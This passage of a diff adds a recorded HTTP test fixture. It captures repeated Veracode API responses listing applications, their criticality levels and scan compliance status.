+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:13 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:13:14 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:14 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:13:37 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
